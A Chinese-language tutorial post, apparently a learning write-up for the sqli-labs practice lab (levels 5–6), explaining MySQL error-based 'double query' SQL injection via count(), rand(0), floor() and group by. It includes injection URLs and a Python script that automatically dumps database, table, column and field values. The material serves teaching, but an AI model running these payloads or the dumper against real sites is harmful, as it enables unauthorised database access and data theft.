Double SQL Injection(双查询注入)

0x00 前言

之前看题不认真,把sqli-labs第五关和第六关做成了盲注,题目本意是考察双查询注入的用法,所以这周赶紧学了一下双查询注入。

0x01 双查询

什么是双查询?其实就是一个select语句中再嵌套一个select语句,如下图

在查询的时候,会先执行select database()语句,然后再将该语句的执行结果传递给count()函数,从内到外依次执行。
对于双查询注入,大家需要先了解count()、rand()、floor()这三个函数的功能以及group by语句的用法。

select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a) as a;
其实这里的两个语句的查询结果是一样的,用concat()只是为了将之后报错的结果更好的显示出来,结合后面的group by分类。

group by语句

大家可以看到,其实数据库security下有4个表(emails、referers、uagents、users),当我们使用了group by table_schema语句后,就会按照数据库名来分类,每个数据库也就只显示第一个表名,如果使用group by table_name就会是如下结果

一些研究人员发现,使用group by子句结合rand()函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,这种错误是随机产生的,这就产生了双重查询注入。使用floor()函数只是为了将查询结果分类,否则就像上图一样。
使用如下SQL语句,发现多查询几次会爆出duplicate entry的错误,且将我们需要的信息都爆出来了。
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

注意,我们要的是报错信息中所附带的我们需要的信息,而不是正常查询的结果,因为正常查询,网页只会给我们返回”You are in”,如下图
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+


http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

那么到底为什么floor()、rand(0)、count()、group by相结合,会产生这种错误呢?当时我也上google查了好些资料,但是都没怎么详细说明。后来去问zusheng表哥,他给了我一篇以前乌云上的分析文章:Mysql报错注入原理分析(count()、rand()、group by),这篇文章写得真好,详细地分析了这个问题。
首先,rand(0)的查询结果几乎消除了floor(rand()*2)函数原有的随机性,连续查询几次,我们会发现它的规律如下(01101)

其次,使用group by语句和count()函数的时候,mysql数据库会先建立一个虚拟表,当查询到新的键不在虚拟表中,数据库就会将其插入表中,如果数据库中已存在该键,则找到该键对应的计数字段并加1。新建虚拟表如下

由于我们使用了rand(0),在查询虚拟表之前会先执行一下rand(0),第一次的到结果为0,发现虚拟表中没有,所以此时要插入键0,在插入时,rand(0)函数又需要执行一遍,此时的查询结果为1(根据上一张图片查询结果01101可知,第二次查询结果为1),所以此时要插入键1,取第一条记录查询,虚拟表如下

可能有的人不理解,为什么在插入虚拟表的时候又要执行一次rand(0),其实我们看到执行rand(0)函数时,返回的结果是有规律的,但是,对于数据库而言,rand(0)就是一个未知的变量,它必须确定具体值才能写入虚拟表。
取第二条记录查询,此时执行rand(0)返回的结果为1(此时对应上面01101的第三次查询结果1),查找虚拟表发现键1已经存在,所以直接加1,虚拟表变化如下

取第三条记录查询,此时执行rand(0)返回的结果为0(此时对应上面01101的第四次查询结果0),发现虚拟表中没有键0,所以要将其写入虚拟表。同样在写入虚拟表的时候,rand(0)又执行了一遍,此时查询结果为上面01101的第五次结果1,但是键1已经存在虚拟表中,由于键只能唯一,所以此时就会报错。所以在使用floor()、rand(0)、count()、group by时,数据表中至少要有3条记录才会报错.
下面就和常规的注入一样,只要修改子查询语句即可(第二个select语句),然后就可以开开心心的开始手注了。
爆表名


爆列名


爆字段



最后贴个代码

import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1'''
### 获取当前数据库名 ###
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
### 获取表名 ###
print('数据库%s下的表名:' % db_name)
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
    r = requests.get(url+payload)
    if 'group_key' not in r.text:
        break
    table_name = r.text.split(':')[-2]
    table_list.append(table_name)
    print('[+]' + table_name)
### 获取列名 ###
#### 这里以users表为例 ####
print('%s表下的列名:' % table_list[-1])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    column_name = r.text.split(':')[-2]
    column_list.append(column_name)
    print('[+]' + column_name)
### 获取字段值 ###
#### 这里以username列为例 ####
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    dump = r.text.split(':')[-2]
    print('[+]' + dump)

运行效果图

0x02 总结

上面的一些东西可能会难理解一些,不过你多看几遍,再动手实践验证一遍,就很容易理解了。下一篇文章,将继续把上一次没写完的盲注讲完。
文章参考
double-query-injections-demystified
Mysql报错注入原理分析(count()、rand()、group by)
视频连接
https://www.youtube.com/watch?v=zaRlcPbfX4M&feature=youtu.be